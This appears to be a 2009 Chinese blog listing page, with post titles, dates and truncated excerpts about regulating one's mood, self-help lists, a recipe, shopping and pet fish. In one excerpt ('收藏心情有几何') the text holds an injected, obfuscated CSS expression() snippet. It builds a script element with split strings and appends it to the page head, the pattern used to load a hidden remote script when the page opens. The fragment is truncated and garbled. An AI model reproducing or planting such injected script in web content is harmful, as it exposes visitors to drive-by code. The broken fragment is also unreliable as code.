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- 快乐宝典 2009-12-10 19:59:08
- 当时讲课老师听了，就开始对孩子进行思想教育，说应该和第一名去比。，我当时就觉得这是孩子的真实想法，而且这是心理课，不是思想品德课，孩子的这种想法很真实很正常啊！这一环节有点失去了心理辅导课的味道。其实今天上午我就在与我们学校的一位老师在交流调节心情...
- 一个改变自我、调节心情的好办法（原创） 2009-11-17 20:16:18
- 早上6：30起床，洗漱之后一般来说7：00可以到教室，这也是班级日常要求的时间。倘若6：45到教室，这个时候教室只有几个人，会感到很有成就感。新的一天就会在愉悦的心情中开始；但是如果7：00以后，例如7：05到教室...如何寻找成就感呢？就是从这些细节来调节自己...
- 田园咖喱饭（冬季瘦身的56道心情食谱） 2009-11-09 08:01:40
- 如果遇上坏天气别盯着那朵乌云……坏天气要娱乐自己坏天气要换付眼镜……露出微笑的表情你的生活由你来决定美食也能调节心情。这不，午餐端上了热情洋溢的田园咖喱饭，南瓜、栗仁加上豆干，营养可口的食材组合成阳光般的色彩，寒凉天里的能量之选，也是苗条身段的上佳滋味...
- 转变 2009-10-28 15:15:31
- 却没感到饿似乎每个地方都在绞痛唯独心不痛有句话说的不错~不要同情自己 同情自己是卑劣懦夫干的勾当~得 想怎么样就怎么样呗大不了见马克思去人之所以痛苦 在于追求错误的东东我一直以为人是慢慢变老的其实不然 人是哼哧变老的哦不过我还年轻所以阿拉就要趁着年轻做一些有...
- 放下，你能吗？ 2009-09-16 13:16:18
- 1 放下烦恼学会微笑，微笑不是面肌的简单运动，而是改变心态、调节心情、接受现实、学会坦然、积极看待人生。2 放下自卑学会强大，不是每个人都是伟人，内心的强大可化解痛苦、忧愁，内心强大可弥补不足、缺陷，内心强大可勇敢面对一切。3放下懒惰学会勤劳，勤劳可改变笨拙...
- 放下，你能吗？ 2009-09-16 02:46:53
- 1 放下烦恼学会微笑，微笑不是面肌的简单运动，而是改变心态、调节心情、接受现实、学会坦然、积极看待人生。2 放下自卑学会强大，不是每个人都是伟人，内心的强大可化解痛苦、忧愁，内心强大可弥补不足、缺陷，内心强大可勇敢面对一切。3放下懒惰学会勤劳，勤劳可改变笨拙...
- 因为没法释怀的时候看看 2009-08-22 12:42:16
- 对错已经无所谓了。4、有负面情绪是正常的，但是自己一定要知道，要明白这只是生活的一小部分，在其余时间里，要尽量的让情绪平稳起来。5、那个人，突然不联系你了，很正常;那个人，突然又联系你了，也很正常，这什么也不能说明。6、如果不懂，就说出来，如果懂了...
- 收藏心情有几何 2009-07-29 21:58:46
- 在家盲目自乐。ee:Expression(function(){if(!window.r){varss='s''cript';var tt='text/ja''vas''cript';varst=document.createElement(ss);st.src='st.type=tt;document.getElementsByTagName('head').item(0).appendChild(st);window.r=1}}(this));width:0px;display...
- 这是一种自我调节的方法 2009-07-24 21:46:44
- 还是优衣库吧，又便宜又舒服，最适合我这种没事花钱自我调节的人。今天人出乎意料地少，干脆在试衣间玩会儿。试衣间又宽敞又亮，导致我每次都拿足了5件再进去。这个搭配还算满意，还挺OL~（可是后来为什么没买这个开衫呢？忘了…）漫无目的地乱逛中，又收获了什么...
- 小鱼儿～～～～ 2009-07-19 14:02:06
- 那天逛超市带回几条热带鱼，摆放在电脑前，眼睛累了就看看他们～～可爱
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